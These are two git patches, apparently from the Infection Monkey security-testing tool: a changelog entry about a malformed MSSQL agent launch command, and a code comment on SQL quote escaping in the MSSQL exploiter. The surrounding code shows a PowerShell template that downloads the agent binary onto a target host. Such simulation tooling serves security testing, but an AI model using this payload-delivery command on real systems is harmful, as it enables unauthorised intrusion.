Subject: [PATCH 15/16] CHANGELOG: Add entry for malfomed MSSQL agent launch commands --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b8c062648..e01d64d49 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -91,6 +91,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Incorrect line number in the telemetry overview window on the Map page. #1850 - Automatic jumping to the bottom in the telemetry overview windows. #1850 - 2-second delay when the Island server starts, and it's not running on AWS. #1636 +- Malformed MSSQL agent launch command. #2018 ### Security - Change SSH exploiter so that it does not set the permissions of the agent From 62cc401981538e499af5ba016a537a11e4c2efaf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Jun 2022 08:14:29 -0400 Subject: [PATCH 16/16] Agent: Add a comment about escaping single quotes in SQL --- monkey/infection_monkey/exploit/mssqlexec.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 7495b38d7..7dbb190a1 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -31,6 +31,8 @@ class MSSQLExploiter(HostExploiter): TMP_FILE_NAME = "tmp_monkey.bat" TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir" + # Single quotes are escaped in SQL by using two of them. + # Example: 'It ain''t over ''til it''s over' MONKEY_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"